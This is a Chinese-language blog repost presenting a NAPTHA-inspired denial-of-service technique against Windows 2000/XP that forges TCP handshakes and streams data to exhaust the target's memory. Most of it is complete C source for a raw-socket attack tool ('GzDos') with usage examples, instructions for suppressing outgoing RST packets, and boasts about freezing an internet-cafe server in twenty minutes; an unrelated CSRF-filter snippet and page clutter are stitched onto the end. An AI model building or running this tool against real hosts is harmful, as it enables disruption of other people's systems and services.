新型D.o.S(伪造TCP连接进行数据传输的D.o.S)

Author:LionD8
Email:liond8@126.com
转自安焦
测试平台 VC++6.0 Windows2000 server
目标平台 Windows 2000 , Windows Xp

????突发奇想,受NAPTHA攻击方式的启发,希望能把这种伪造连接的方式扩展到个人的PC上,并且不受局域网的这个条件因素的限制。才去花了时间去研究了一下下面写的东西,好了不废话了。现在拿出来和大家Share一下,还不是很成熟,希望能和大家多多讨论。
????关于NAPTHA原来写过一篇NAPTHA在2000下的实现。为什么要利用一个局域网,仅仅是为了更好的隐藏吗?还有一个更重要的因素应该是避免自己的主机响应远程主机发出的第二此握手的包,防止系统发出RST包断开掉伪造的连接。另外原来测试过NAPTHA对windows系统并没有多大的影响。消耗不到windows的多少内存。如果再伪造连接成功过后再传输数据呢?
????A为攻击者 C被攻击者:
????A Syn --------> C
????A Syn,Ack <-----C
????A Ack --------> C
????A 发送数据-----> C
????A Ack <-------- C
????A 发送数据-----> C
????A Ack <-------- C
????...

测试结果:
????对于一般的临时端口比较有效对于1025端口来说,相当的有效。内存持续上升最后最后可以导致计算机由于资源不足无响应,死机。20分钟可以拖死一个网吧的服务器。
????对于80端口最大连接数100,效果不是十分的明显,消耗掉40M内存就开始反复了,留下大量的FIN_WAIT_1状态和ESTABLISHED状态。
????对于其他的一些端口由于环境有限测试相当不方便。方便的朋友可以告诉我您的测试结果。欢迎讨论。

所以下面要解决的问题大致就有2个:
1.Hook掉本机发出的Rst数据包
????参考flashsky老大的《书写NDIS过滤钩子驱动实现ip包过滤》
???? http://www.xfocus.net/articles/200210/457.html
????仅仅是修改一行代码就ok了。
把 if(Packet[13]==0x2 && SendInterfaceIndex==INVALID_PF_IF_INDEX)
修改为 if(Packet[13]==0x4 && SendInterfaceIndex!=INVALID_PF_IF_INDEX)
详细见原文。原文讲得很详细.

2.伪造数据的传输
????通过Sniffer分析,要想对方相信这个伪造的连接还在Syn包发出的时候要加上选项数据,协商能够接收的数据包的大小。否则,就算建立了连接过后对方也不回接受发出的数据,就是说想消耗对方的内存就不行了。对于一般的syn扫描,还有NAPTHA请求连接的时候TCP header长度都是20,是没有选项数据的。例如的我2000上选项是8字节,而我朋友的2000则是12字节。以我的机器为例8字节,所以TCP header长度要变成28字节。即tcp_head.th_lenres=0x70.
另外还有一个地方要指出就是关于TCP头部的效验和的计算。
USHORT checksum(USHORT *buffer, int size)
{
????unsigned long cksum=0;
????while(size >1)
????{
????????cksum+=*buffer++;
????????size -=sizeof(USHORT);
????}
????if(size)
????{
????????cksum += *(UCHAR*)buffer;
????}
????cksum = (cksum >> 16) + (cksum & 0xffff);
????cksum += (cksum >>16);
????return (USHORT)(~cksum);
}
如果带有数据在20字节的TCP头部的后面,这个和Windows2000系统算出来的就不一样。经过分析和数据长度有关系。如果说20字节的IP头,20字节的TCP头,加2字节的数据。如果用checksum计算出TCP效验和为0x4523.但是系统计算出来的就是0x4323
所以:
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+dwSize);
tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
dwSize为带的数据的长度。否则对方不接收伪造的数据包。那么要达到消耗对方内存的目的也不行了。

下面是测试的代码。考虑到此程序还是有一定的危害的效果所以没有写成十分方便的测试程序,需要手工sniffer选项字节。然后在命令行下面输入选项字节。
例如:
GzDos.exe 192.168.248.128 1025 020405B401010402 1000 65534
GzDos.exe

源代码:
#include "stdio.h"
#include "winsock2.h"
#include "windows.h"
#include
#include "wchar.h"

#pragma comment(lib, "ws2_32.lib")

#define SIO_RCVALL????????????_WSAIOW(IOC_VENDOR,1)

char*????ATTACKIP =????"192.168.248.128";
USHORT????ATTACKPORT =????135;
USHORT????StartPort = 1;
int????????SLEEPTIME =????2000;
UCHAR* optbuf = NULL;????//??选项字节
char* psend = NULL;
DWORD len = 0;
USHORT optlen= 0;

typedef struct ip_head??????
{
????unsigned char h_verlen;????
????unsigned char tos;????????
????unsigned short total_len;??
????unsigned short ident;??????
????unsigned short frag_and_flags;
????unsigned char ttl;????????
????unsigned char proto;????
????unsigned short checksum;??
????unsigned int sourceIP;????
????unsigned int destIP;????????
}IPHEADER;

typedef struct tcp_head??
{
????USHORT th_sport;??????????
????USHORT th_dport;????????
????unsigned int th_seq;??????
????unsigned int th_ack;??????
????unsigned char th_lenres;??????
????unsigned char th_flag;??????
????USHORT th_win;??????????
????USHORT th_sum;??????????
????USHORT th_urp;??????????
}TCPHEADER;

typedef struct tsd_hdr??
{
????unsigned long saddr;??
????unsigned long daddr;??
????char mbz;
????char ptcl;??????????????
????unsigned short tcpl;??
}PSDHEADER;

typedef struct attack_obj
{
????DWORD????dwIP;
????USHORT????uAttackPort[11];
????struct attack_obj*????Next;
}ATOBJ;


ATOBJ*????ListAttackObj=0;


BOOL????InitStart();
DWORD????GetHostIP();
USHORT????checksum(USHORT *buffer, int size);
DWORD????WINAPI??ThreadSynFlood(LPVOID lp);
void????SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf,BOOL Isdata,DWORD dwSize);
DWORD?? WINAPI??ListeningFunc(LPVOID lpvoid);
void????Banner();
void debugip ( DWORD dwip);
void ConvertOpt (CHAR* pu);


SOCKET sock = NULL;

int main(int argc, char* argv[])
{
????Banner();
????psend = (char*)malloc(800);
????memset(psend,0x38,799);
????psend[799] = 0;
????len = strlen(psend);
????if ( argc < 5)
????{
????????printf("input error!/n");
????????return -1;
????}
????ATTACKIP = strdup(argv[1]);
????ATTACKPORT = atoi(argv[2]);
????CHAR* optbuftemp = (CHAR*)strdup(argv[3]);????
????ConvertOpt (optbuftemp);
????optbuf[3]-=1;
????if ( argc == 5)
????????SLEEPTIME = atoi(argv[4]);
????if ( argc == 6)
????{
????????SLEEPTIME = atoi(argv[4]);
????????StartPort = atoi(argv[5]);
????}
????char HostName[255]={0};
????if ( InitStart() == FALSE )
????????return -1;
????if ( optbuf != NULL)
????{
????????int i=0;
????????struct hostent* lp = NULL;
????????
????????gethostname(HostName,255);
????????lp = gethostbyname (HostName);
????????while ( lp->h_addr_list[i] != NULL )
????????{
????????????HANDLE????h=NULL;
????????????DWORD????dwIP=0;????
????????????dwIP = *(DWORD*)lp->h_addr_list[i++];
????????????h=CreateThread(NULL,NULL,ListeningFunc,(LPVOID)dwIP,NULL,NULL);????????????
????????????if ( h == NULL )
????????????{
????????????????printf("Create ListeningFunc Thread False!/n");
????????????????return -1;
????????????}
????????????Sleep(500);
????????}
????????????ThreadSynFlood(NULL);
????}
????else return -1;
??
????Sleep(5555555);

}

BOOL InitStart()
{
????BOOL flag;
????int??nTimeOver;
????WSADATA WSAData;
????if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
????{
????????printf("WSAStartup Error!/n");
????????return FALSE;
????}
????ListAttackObj = (ATOBJ*) calloc (1,sizeof(ATOBJ));
????ListAttackObj->dwIP = inet_addr( ATTACKIP );
????ListAttackObj->uAttackPort[0] = htons(ATTACKPORT);
????ListAttackObj->uAttackPort[1] = 0;
????ListAttackObj->Next=NULL;
????sock=NULL;
????if ((sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
????{
????????printf("Socket Setup Error!/n");
????????return FALSE;
????}
????flag=true;
????if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
????{
????????printf("setsockopt IP_HDRINCL error!/n");
????????return FALSE;
????}
????nTimeOver=2000;
????if (setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)????????????????????????????????//设置发送的时间
????{
????????printf("setsockopt SO_SNDTIMEO error!/n");
????????return FALSE;
????}????
????return TRUE;
}

DWORD??WINAPI??ThreadSynFlood(LPVOID lp)
{
????ATOBJ* pAtObj = ListAttackObj;
????SOCKADDR_IN addr_in;
????IPHEADER ipHeader;
????TCPHEADER tcpHeader;
????PSDHEADER psdHeader;
????char szSendBuf[1024]={0};
????int i=0;
????while (??pAtObj != NULL )
????{
????????addr_in.sin_family=AF_INET;
????????addr_in.sin_addr.S_un.S_addr=pAtObj->dwIP;
????????ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
????????ipHeader.tos=0;
????????ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+optlen);???? //IP总长度
????????ipHeader.ident=1;
????????ipHeader.frag_and_flags=0x0040;????????????????
????????ipHeader.ttl=0x80;????????
????????ipHeader.proto=IPPROTO_TCP;
????????ipHeader.checksum=0;
????????ipHeader.destIP=pAtObj->dwIP;
????????ipHeader.sourceIP = GetHostIP();
????????tcpHeader.th_ack=0;????
????????tcpHeader.th_lenres = (optlen/4+5)<<4;
????????tcpHeader.th_flag=2;????????????
????????tcpHeader.th_win=htons(0x4470);
????????tcpHeader.th_urp=0;
????????tcpHeader.th_seq=htonl(0x00198288);
????????for ( int l=StartPort; l<65535;l++)
????????{
????????????int k =0;
????????????while ( pAtObj->uAttackPort[k] != 0 )
????????????{
????????????????tcpHeader.th_dport=pAtObj->uAttackPort[k++];
????????????????psdHeader.daddr=ipHeader.destIP;
????????????????psdHeader.mbz=0;
????????????????psdHeader.ptcl=IPPROTO_TCP;
????????????????psdHeader.tcpl=htons(sizeof(tcpHeader));
????????????????int sendnum = 0;????????????
????????????????int optlentemp = optlen;
????????????????tcpHeader.th_sport=htons(l);
????????????????tcpHeader.th_sum=0;
????????????????psdHeader.saddr=ipHeader.sourceIP;
????????????????memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
????????????????memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
????????????????memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),optbuf,optlentemp);
????????????????tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+optlentemp);
????????????????tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)optlentemp);????????
????????????????memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
????????????????memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
????????????????memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader),optbuf,optlentemp);
????????????????int rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)+optlentemp, 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
????????????????if ( sendnum++ > 10 )
????????????????{
????????????????????sendnum=0;
????????????????}
????????????????if (rect==SOCKET_ERROR)
????????????????{
????????????????????printf("send error!:%x/n",WSAGetLastError());
????????????????????return false;
????????????????}
????????????????else????printf("????????????send ok %d /n", l);????????????????????
????????????}//endwhile
????????????Sleep(SLEEPTIME);??
????????}
????????pAtObj = pAtObj->Next;
????}
????return 0;
}

DWORD GetHostIP()
{
????DWORD dwIP=0;
????int i=0;
????struct hostent* lp = NULL;
????char HostName[255] = {0};
????gethostname(HostName,255);
????lp = gethostbyname (HostName);
????while ( lp->h_addr_list[i] != NULL )
????????i++;
????dwIP = *(DWORD*)lp->h_addr_list[--i];
????return dwIP;
}
????
USHORT checksum(USHORT *buffer, int size)
{
????unsigned long cksum=0;
????while(size >1)
????{
????????cksum+=*buffer++;
????????size -=sizeof(USHORT);
????}
????if(size)
????{
????????cksum += *(UCHAR*)buffer;
????}
????cksum = (cksum >> 16) + (cksum & 0xffff);
????cksum += (cksum >>16);
????return (USHORT)(~cksum);
}

DWORD?? WINAPI??ListeningFunc(LPVOID lpvoid)
{
????SOCKET rawsock;
????SOCKADDR_IN addr_in={0};
????if ((rawsock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
????{
????????printf("Sniffer Socket Setup Error!/n");
????????return false;
????}
????addr_in.sin_family=AF_INET;
????addr_in.sin_port=htons(8288);
????addr_in.sin_addr.S_un.S_addr= (DWORD)lpvoid;
????//对rawsock绑定本机IP和端口
????int ret=bind(rawsock, (struct sockaddr *)&addr_in, sizeof(addr_in));
????if(ret==SOCKET_ERROR)
????{
????????printf("bind false/n");
????????exit(0);
????}
????DWORD lpvBuffer = 1;
????DWORD lpcbBytesReturned = 0;
????WSAIoctl(rawsock, SIO_RCVALL, &lpvBuffer, sizeof(lpvBuffer), NULL, 0, &lpcbBytesReturned, NULL, NULL);
????while (TRUE)
????{
????????SOCKADDR_IN from={0};
????????int??size=sizeof(from);
????????char RecvBuf[256]={0};
????????//接收数据包
????????ret=recvfrom(rawsock,RecvBuf,sizeof(RecvBuf),0,(struct sockaddr*)&from,&size);
????????if(ret!=SOCKET_ERROR)
????????{
????????????// 分析数据包
????????????IPHEADER *lpIPheader;
????????????lpIPheader=(IPHEADER *)RecvBuf;
????????????if (lpIPheader->proto==IPPROTO_TCP && lpIPheader->sourceIP == inet_addr(ATTACKIP) )
????????????{
????????????
????????????????TCPHEADER *lpTCPheader=(TCPHEADER*)(RecvBuf+sizeof(IPHEADER));
????????????????//判断是不是远程开放端口返回的数据包
????????????????if ( lpTCPheader->th_flag==0x12)
????????????????{
????????????????????if ( lpTCPheader->th_ack == htonl(0x00198289) )
????????????????????{//伪造第3次握手
????????????????????????SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), /
????????????????????????lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,NULL,FALSE,0);
????????????????????????//主动发出一次数据
????????????????????????SendData(lpTCPheader->th_ack,htonl(ntohl(lpTCPheader->th_seq)+1), /
????????????????????????lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
????????????????????}
????????????????
????????????????}
????????????????else
????????????????{
????????????????????if ( lpTCPheader->th_flag == 0x10 )
????????????????????//继续发送数据
????????????????????SendData(lpTCPheader->th_ack,lpTCPheader->th_seq,/
????????????????????lpTCPheader->th_dport,lpTCPheader->th_sport,lpIPheader->destIP,lpIPheader->sourceIP,psend,TRUE,len);
????????????????}

????????????}????????????
????????????
????????}
????}???? // end while

}

void SendData(DWORD SEQ, DWORD ACK, USHORT SPort, USHORT APort, DWORD SIP, DWORD AIP, char* pBuf, BOOL Isdata,DWORD dwSize)
{
??
????SOCKADDR_IN addr_in;
????IPHEADER ipHeader;
????TCPHEADER tcpHeader;
????PSDHEADER psdHeader;

????char szSendBuf[1024]={0};
????addr_in.sin_family=AF_INET;
????addr_in.sin_port = APort;
????addr_in.sin_addr.S_un.S_addr = AIP;
????ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
????ipHeader.tos=0;

????ipHeader.ident=1;
????ipHeader.frag_and_flags=0x0040;????????????????
????ipHeader.ttl=0x80;????????
????ipHeader.proto=IPPROTO_TCP;
????ipHeader.checksum=0;
????ipHeader.destIP=AIP;
????ipHeader.sourceIP = SIP;
????tcpHeader.th_dport = APort;
????tcpHeader.th_ack = ACK;??
????tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
????tcpHeader.th_seq= SEQ;
????tcpHeader.th_win=htons(0x4470);
????tcpHeader.th_sport=SPort;
????ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)+dwSize);
????if ( !Isdata)
????{

????????tcpHeader.th_flag=0x10;
????
????}//????ack??
????else
????{
????????tcpHeader.th_flag=0x18;
????}
????tcpHeader.th_urp=0;
????psdHeader.daddr=ipHeader.destIP;
????psdHeader.mbz=0;
????psdHeader.ptcl=IPPROTO_TCP;
????psdHeader.tcpl=htons(sizeof(tcpHeader));????
????tcpHeader.th_sum=0;
????psdHeader.saddr=ipHeader.sourceIP;
????memcpy(szSendBuf, &psdHeader, sizeof(psdHeader));
????memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
????if ( pBuf != NULL )
????{????
????????memcpy(szSendBuf+sizeof(psdHeader)+sizeof(tcpHeader),pBuf,dwSize);
????????tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)+dwSize);
????????tcpHeader.th_sum = htons(ntohs(tcpHeader.th_sum)-(USHORT)dwSize);
????}
????else
????{
????????tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
????}

????memcpy(szSendBuf, &ipHeader, sizeof(ipHeader));
????memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
????int rect=0;
????if ( pBuf == NULL )
????????rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
????else
????{
????????memcpy(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), pBuf, dwSize);
????????rect=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)+dwSize, 0, (struct sockaddr*)&addr_in, sizeof(addr_in));
????}

????if (rect==SOCKET_ERROR)
????{
????????printf("send error!:%x/n",WSAGetLastError());
????????return;
????}
????else????
????{
????????if ( pBuf != NULL )
????????????printf("SendData ok %d/n",ntohs(SPort));
????????else
????????????printf("????????????????????SendAck ok %d/n",ntohs(SPort));
????}

}

void Banner()
{
????printf("****************************************************/n");
????printf("?????????????????? 狗仔 D.o.S test/n");
????printf("Maker By LionD8. QQ:10415468. Email:liond8@eyou.com/n");
????printf("????Welcome to my website: http://liond8.126.com/n");
????printf("?? 仅供授权测试使用,否则引起任何法律纠纷后果自负/n");
????printf("****************************************************/n");

????printf("GzDos.exe /n");
}


void debugip ( DWORD dwip)
{

????struct in_addr A = {0};
????A.S_un.S_addr = dwip;
????printf("%s",inet_ntoa(A));

}

void ConvertOpt (CHAR* pu)
{
????int i=0 , lentemp;
????lentemp = strlen(pu);
????optlen = lentemp/2;
????optbuf = (UCHAR*)malloc(optlen);
????int k=0;
????for ( i = 0 ; i < lentemp ; i+=2 )
????{
????????BYTE tempb = 0;
????????tempb = pu[i+1];
????????if ( tempb < '9')
????????????tempb = tempb - 0x30;
????????else
????????{
????????????tempb = tempb - 0x37;
????????}

????????optbuf[k] = tempb;

????????tempb = 0;
????????tempb = pu[i];
????????if ( tempb < '9')
????????????tempb = tempb - 0x30;
????????else
????????{
????????????tempb = tempb - 0x37;
????????}

????????tempb= tempb<<4;
????????optbuf[k]+= tempb;
????????k++;
????}
}
参考文献:
书写NDIS过滤钩子驱动实现ip包过滤
TCP/IP详解第一卷
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Web.xml跨站请求伪造(CSRF)过滤器是通过在web.xml配置文件中设置过滤器,并在过滤器类中继承OncePerRequestFilter.java父类来实现的。在该过滤器中,可以对请求头等进行匹配和判断,如果不符合特定条件,则认为是一种CSRF攻击的请求,并拒绝执行该请求。 具体在过滤器中的doFilter方法中,会接收到ServletRequest对象和ServletResponse对象以及FilterChain对象作为参数。在该方法中,可以对请求进行进一步处理和校验。 需要注意的是,如果初始化方法(init method)无法成功执行,Web容器将无法启动该过滤器的服务。因此,在配置和使用Web.xml跨站请求伪造(CSRF)过滤器时,需要确保初始化方法的正确实现。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* [Appscan漏洞之跨站点请求伪造(CSRF)](https://blog.csdn.net/arkqyo2595/article/details/101105189)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *2* *3* [AppScan漏洞扫描之-跨站点请求伪造](https://blog.csdn.net/weixin_39675178/article/details/115089193)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值